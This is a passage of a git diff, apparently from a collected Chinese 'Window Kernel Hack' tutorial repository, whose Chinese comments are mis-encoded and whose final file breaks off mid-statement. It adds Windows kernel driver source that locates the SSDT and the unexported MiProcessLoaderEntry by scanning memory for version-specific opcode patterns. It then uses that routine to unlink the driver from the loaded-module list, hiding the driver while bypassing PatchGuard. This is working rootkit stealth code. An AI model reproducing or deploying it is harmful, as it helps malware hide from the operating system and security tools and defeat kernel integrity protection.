SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength); + if (NULL == pSearchResultAddr) + { + return pMiProcessLoaderEntry; + } + // ȡƫֵ + lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); + // ַ(תַ = һַָ + תƫ) + pMiProcessLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset); + + return pMiProcessLoaderEntry; +} + + +// NtSetSystemInformation лȡ MmLoadSystemImage ַ +PVOID GetFuncAddr_MmLoadSystemImage() +{ + NTSTATUS status = STATUS_SUCCESS; + RTL_OSVERSIONINFOW osVersionInfo = { 0 }; + PVOID pNtSetSystemInformation = NULL; + PVOID pMmLoadSystemImage = NULL; + UCHAR pSpecialCode[256] = { 0 }; + ULONG ulSpecialCodeLength = 256; + ULONG ulSearchLength = 0x1000; + PVOID pSearchResultAddr = NULL; + LONG lOffset = 0; + RtlZeroMemory(pSpecialCode, ulSpecialCodeLength); + + // SSDT лȡ NtSetSystemInformation ַ + pNtSetSystemInformation = GetSSDTFunction("NtSetSystemInformation"); + if (NULL == pNtSetSystemInformation) + { + return pMmLoadSystemImage; + } + + // ȡϵͳ汾Ϣ + RtlGetVersion(&osVersionInfo); + if (6 == osVersionInfo.dwMajorVersion) + { + // Win7 + if (1 == osVersionInfo.dwMinorVersion) + { +#ifndef _WIN64 + // 32 Bits + pSpecialCode[0] = 0xd8; + pSpecialCode[1] = 0x50; + pSpecialCode[2] = 0xe8; + ulSpecialCodeLength = 3; +#else + // 64 Bits + pSpecialCode[0] = 0x48; + pSpecialCode[1] = 0x8d; + pSpecialCode[2] = 0x4c; + pSpecialCode[3] = 0x24; + pSpecialCode[4] = 0x38; + pSpecialCode[5] = 0xe8; + ulSpecialCodeLength = 6; +#endif + } + // Win8 + else if (2 == osVersionInfo.dwMinorVersion) + { + + } + // Win8.1 + else if (3 == osVersionInfo.dwMinorVersion) + { +#ifndef _WIN64 + // 32 Bits + pSpecialCode[0] = 0x8d; + pSpecialCode[1] = 0x85; + pSpecialCode[2] = 0x10; + pSpecialCode[3] = 0xff; + pSpecialCode[4] = 0xff; + pSpecialCode[5] = 0xff; + pSpecialCode[6] = 0x50; + pSpecialCode[7] = 0xe8; + ulSpecialCodeLength = 8; +#else + // 64 Bits + pSpecialCode[0] = 0x48; + pSpecialCode[1] = 0x8d; + pSpecialCode[2] = 0x8c; + pSpecialCode[3] = 0x24; + pSpecialCode[4] = 0x00; + pSpecialCode[5] = 0x02; + pSpecialCode[6] = 0x00; + pSpecialCode[7] = 0x00; + pSpecialCode[8] = 0xe8; + ulSpecialCodeLength = 9; +#endif + } + } + // Win10 + else if (10 == osVersionInfo.dwMajorVersion) + { +#ifndef _WIN64 + // 32 Bits + pSpecialCode[0] = 0x8d; + pSpecialCode[1] = 0x85; + pSpecialCode[2] = 0x04; + pSpecialCode[3] = 0xff; + pSpecialCode[4] = 0xff; + pSpecialCode[5] = 0xff; + pSpecialCode[6] = 0x50; + pSpecialCode[7] = 0xe8; + ulSpecialCodeLength = 8; +#else + // 64 Bits + pSpecialCode[0] = 0x48; + pSpecialCode[1] = 0x8d; + pSpecialCode[2] = 0x8c; + pSpecialCode[3] = 0x24; + pSpecialCode[4] = 0x48; + pSpecialCode[5] = 0x02; + pSpecialCode[6] = 0x00; + pSpecialCode[7] = 0x00; + pSpecialCode[8] = 0xe8; + ulSpecialCodeLength = 9; +#endif + } + // 汾 + else + { + + } + + // + pSearchResultAddr = SearchSpecialCode(pNtSetSystemInformation, ulSearchLength, pSpecialCode, ulSpecialCodeLength); + if (NULL == pSearchResultAddr) + { + return pMmLoadSystemImage; + } + // ȡƫֵ + lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); + // ַ(תַ = һַָ + תƫ) + pMmLoadSystemImage = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset); + + return pMmLoadSystemImage; +} + + +// +PVOID SearchSpecialCode(PVOID pSearchBeginAddr, ULONG ulSearchLength, PUCHAR pSpecialCode, ULONG ulSpecialCodeLength) +{ + PVOID pDestAddr = NULL; + PUCHAR pBeginAddr = (PUCHAR)pSearchBeginAddr; + PUCHAR pEndAddr = pBeginAddr + ulSearchLength; + PUCHAR i = NULL; + ULONG j = 0; + + for (i = pBeginAddr; i <= pEndAddr; i++) + { + // + for (j = 0; j < ulSpecialCodeLength; j++) + { + // жϵַǷЧ + if (FALSE == MmIsAddressValid((PVOID)(i + j))) + { + break;; + } + // ƥ + if (*(PUCHAR)(i + j) != pSpecialCode[j]) + { + break; + } + } + // ƥɹ + if (j >= ulSpecialCodeLength) + { + pDestAddr = (PVOID)i; + break; + } + } + + return pDestAddr; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/GetMiProcessLoaderEntry.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/GetMiProcessLoaderEntry.h" new file mode 100644 index 0000000..defa02e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/GetMiProcessLoaderEntry.h" @@ -0,0 +1,29 @@ +#ifndef _GET_MIPROCESSLOADERENTRY_H_ +#define _GET_MIPROCESSLOADERENTRY_H_ + + +#include + + +#ifndef _WIN64 + // 32 + typedef NTSTATUS(__stdcall *typedef_MiProcessLoaderEntry)(PVOID, BOOLEAN); +#else + // 64 + typedef NTSTATUS(__fastcall *typedef_MiProcessLoaderEntry)(PVOID, BOOLEAN); +#endif + + +// MmLoadSystemImage лȡӦ MiProcessLoaderEntry +// , 3264λ Win7, Win8.1 ֱӴ MmLoadSystemImage MiProcessLoaderEntry +// 3264λ Win10 Ҫ MmLoadSystemImage MiConstructLoaderEntry, ٴ MiConstructLoaderEntry MiProcessLoaderEntry +PVOID GetFuncAddr_MiProcessLoaderEntry(); + +// NtSetSystemInformation лȡ MmLoadSystemImage ַ +PVOID GetFuncAddr_MmLoadSystemImage(); + +// +PVOID SearchSpecialCode(PVOID pSearchBeginAddr, ULONG ulSearchLength, PUCHAR pSpecialCode, ULONG ulSpecialCodeLength); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/SSDTFunction.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/SSDTFunction.c" new file mode 100644 index 0000000..0f1d7f0 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/SSDTFunction.c" @@ -0,0 +1,190 @@ +#include "SSDTFunction.h" + + +// ȡ SSDT ַ +PVOID GetSSDTFunction(PCHAR pszFunctionName) +{ + UNICODE_STRING ustrDllFileName; + ULONG ulSSDTFunctionIndex = 0; + PVOID pFunctionAddress = NULL; + PSSDTEntry pServiceDescriptorTable = NULL; + ULONG ulOffset = 0; + + RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); + // ntdll.dll лȡ SSDT + ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName); + + //32λ, ֱӻȡַ; 64λ, , KiSystemCall64 лȡ SSDT ַ + pServiceDescriptorTable = GetSSDTAddress(); + + // , SSDTлȡӦƫƵַַ +#ifndef _WIN64 + // 32 Bits + pFunctionAddress = (PVOID)pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex]; +#else + // 64 Bits + ulOffset = pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex] >> 4; + pFunctionAddress = (PVOID)((PUCHAR)pServiceDescriptorTable->ServiceTableBase + ulOffset); +#endif + + // ʾ + DbgPrint("[%s][SSDT Addr:0x%p][Index:%d][Address:0x%p]\n", pszFunctionName, pServiceDescriptorTable, ulSSDTFunctionIndex, pFunctionAddress); + + return pFunctionAddress; +} + + +// 32λ, ֱӻȡַ; 64λ, , KiSystemCall64 лȡ SSDT ַ +PVOID GetSSDTAddress() +{ + PVOID pServiceDescriptorTable = NULL; + PVOID pKiSystemCall64 = NULL; + UCHAR ulCode1 = 0; + UCHAR ulCode2 = 0; + UCHAR ulCode3 = 0; + // עʹз + LONG lOffset = 0; + +#ifndef _WIN64 + // 32 Bits + pServiceDescriptorTable = (PVOID)(&KeServiceDescriptorTable); +#else + // 64 Bits + // ȡ KiSystemCall64 ַ + pKiSystemCall64 = (PVOID)__readmsr(0xC0000082); + // 4C8D15 + for (ULONG i = 0; i < 1024; i++) + { + // ȡڴ + ulCode1 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i)); + ulCode2 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 1)); + ulCode3 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 2)); + // ж + if (0x4C == ulCode1 && + 0x8D == ulCode2 && + 0x15 == ulCode3) + { + // ȡƫ + lOffset = *((PLONG)((PUCHAR)pKiSystemCall64 + i + 3)); + // ƫƼַ + pServiceDescriptorTable = (PVOID)(((PUCHAR)pKiSystemCall64 + i) + 7 + lOffset); + break; + } + } +#endif + + return pServiceDescriptorTable; +} + + +// ntdll.dll лȡ SSDT +ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName) +{ + ULONG ulFunctionIndex = 0; + NTSTATUS status = STATUS_SUCCESS; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + PVOID pBaseAddress = NULL; + + // ڴӳļ + status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress); + if (!NT_SUCCESS(status)) + { + KdPrint(("DllFileMap Error!\n")); + return ulFunctionIndex; + } + + // ݵȡַ, Ӷȡ SSDT + ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName); + + // ͷ + ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress); + ZwClose(hSection); + ZwClose(hFile); + + return ulFunctionIndex; +} + +// ڴӳļ +NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress) +{ + NTSTATUS status = STATUS_SUCCESS; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + OBJECT_ATTRIBUTES objectAttributes = { 0 }; + IO_STATUS_BLOCK iosb = { 0 }; + PVOID pBaseAddress = NULL; + SIZE_T viewSize = 0; + // DLL ļ, ȡļ + InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, + FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); + if (!NT_SUCCESS(status)) + { + KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); + return status; + } + // һڶ, PE ṹе SectionALignment Сӳļ + status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); + if (!NT_SUCCESS(status)) + { + ZwClose(hFile); + KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); + return status; + } + // ӳ䵽ڴ + status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); + if (!NT_SUCCESS(status)) + { + ZwClose(hSection); + ZwClose(hFile); + KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); + return status; + } + + // + *phFile = hFile; + *phSection = hSection; + *ppBaseAddress = pBaseAddress; + + return status; +} + +// ݵȡַ, Ӷȡ SSDT +ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName) +{ + ULONG ulFunctionIndex = 0; + // Dos Header + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; + // NT Header + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); + // Export Table + PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); + // Ƶĵ + ULONG ulNumberOfNames = pExportTable->NumberOfNames; + // Ƶַ + PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); + PCHAR lpName = NULL; + // ʼ + for (ULONG i = 0; i < ulNumberOfNames; i++) + { + lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); + // жǷҵĺ + if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) + { + // ȡַ + USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); + ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); + PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); + // ȡ SSDT Index +#ifdef _WIN64 + ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4); +#else + ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1); +#endif + break; + } + } + + return ulFunctionIndex; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/SSDTFunction.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/SSDTFunction.h" new file mode 100644 index 0000000..f493ba3 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/SSDTFunction.h" @@ -0,0 +1,52 @@ +#ifndef _SSDT_FUNCTION_H_ +#define _SSDT_FUNCTION_H_ + + +#include +#include + + +#ifndef _WIN64 + // 32 Bits + #pragma pack(1) + typedef struct _SERVICE_DESCIPTOR_TABLE + { + PULONG ServiceTableBase; // SSDTַ + PULONG ServiceCounterTableBase; // SSDTз񱻵ô + ULONG NumberOfService; // SSDT + PUCHAR ParamTableBase; // ϵͳַ + }SSDTEntry, *PSSDTEntry; +#pragma pack() + // ֱӻȡ SSDT + extern SSDTEntry __declspec(dllimport) KeServiceDescriptorTable; + +#else + // 64 Bits + #pragma pack(1) + typedef struct _SERVICE_DESCIPTOR_TABLE + { + PULONG ServiceTableBase; // SSDTַ + PVOID ServiceCounterTableBase; // SSDTз񱻵ô + ULONGLONG NumberOfService; // SSDT + PVOID ParamTableBase; // ϵͳַ + }SSDTEntry, *PSSDTEntry; + #pragma pack() + +#endif + + +// ȡ SSDT ַ +PVOID GetSSDTFunction(PCHAR pszFunctionName); + +// 32λ, ֱӻȡַ; 64λ, , KiSystemCall64 лȡ SSDT ַ +PVOID GetSSDTAddress(); + +// ntdll.dll лȡ SSDT +ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName); +// ڴӳļ +NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress); +// ݵȡַ, Ӷȡ SSDT +ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test.sln" new file mode 100644 index 0000000..45771a4 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDriver_Test", "EnumDriver_Test\EnumDriver_Test.vcxproj", "{AA843A5C-470C-40E2-ADFF-302C81949D7C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {AA843A5C-470C-40E2-ADFF-302C81949D7C}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test.v12.suo" new file mode 100644 index 0000000..a520ed6 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/Driver.c" new file mode 100644 index 0000000..ca0c1ad --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/Driver.c" @@ -0,0 +1,43 @@ +#include "Driver.h" +#include "EnumDriver.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ģ + EnumDriver(pDriverObject); + + // ģ(Bypass Patch Guard) + UNICODE_STRING ustrDriverName; + RtlInitUnicodeString(&ustrDriverName, L"EnumDriver_Test.sys"); + HideDriver_Bypass_PatchGuard(pDriverObject, ustrDriverName); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver.c" new file mode 100644 index 0000000..33c23eb --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\351\251\261\345\212\250\351\232\220\350\227\217/EnumDriver_Test/EnumDriver_Test/EnumDriver.c" @@ -0,0 +1,72 @@ +#include "EnumDriver.h" +#include "GetMiProcessLoaderEntry.h" + + +// ģ +BOOLEAN EnumDriver(PDRIVER_OBJECT pDriverObject) +{ + // PDRIVER_OBJECTȡDriverSectionɻģ + PLDR_DATA_TABLE_ENTRY pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; + // ʼ˫ + PLDR_DATA_TABLE_ENTRY pFirstDriverData = pDriverData; + do + { + if ((0 < pDriverData->BaseDllName.Length) || + (0 < pDriverData->FullDllName.Length)) + { + // ʾ + DbgPrint("BaseDllName=%ws,\tDllBase=0x%p,\tSizeOfImage=0x%X,\tFullDllName=%ws\n", + pDriverData->BaseDllName.Buffer, pDriverData->DllBase, + pDriverData->SizeOfImage, pDriverData->FullDllName.Buffer); + } + // һ + pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverData->InLoadOrderLinks.Flink; + + } while (pFirstDriverData != pDriverData); + + return TRUE; +} + + +// ģ(Bypass Patch Guard) +BOOLEAN HideDriver_Bypass_PatchGuard(PDRIVER_OBJECT pDriverObject, UNICODE_STRING ustrHideDriverName) +{ + // PDRIVER_OBJECTȡDriverSectionɻģ + PLDR_DATA_TABLE_ENTRY pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; + typedef_MiProcessLoaderEntry MiProcessLoaderEntry = NULL; + + // ȡ MiProcessLoaderEntry ַ + MiProcessLoaderEntry = GetFuncAddr_MiProcessLoaderEntry(); + if (NULL == MiProcessLoaderEntry) + { + DbgPrint("GetFuncAddr_MiProcessLoaderEntry Error!"); + return FALSE; + } + DbgPrint("MiProcessLoaderEntry=0x%p", MiProcessLoaderEntry); + + // ʼ˫ + PLDR_DATA_TABLE_ENTRY pFirstDriverData = pDriverData; + do + { + if ((0 < pDriverData->BaseDllName.Length) || + (0 < pDriverData->FullDllName.Length)) + { + // жǷΪصģ + if (RtlEqualUnicodeString(&pDriverData->BaseDllName, &ustrHideDriverName, TRUE)) + { + // ժ(Bypass Patch Guard) + MiProcessLoaderEntry((PVOID)pDriverData, FALSE); + DbgPrint("[Hide Driver]%wZ\n", &pDriverData->BaseDllName); + break; + } + } + // һ + pDriverData = 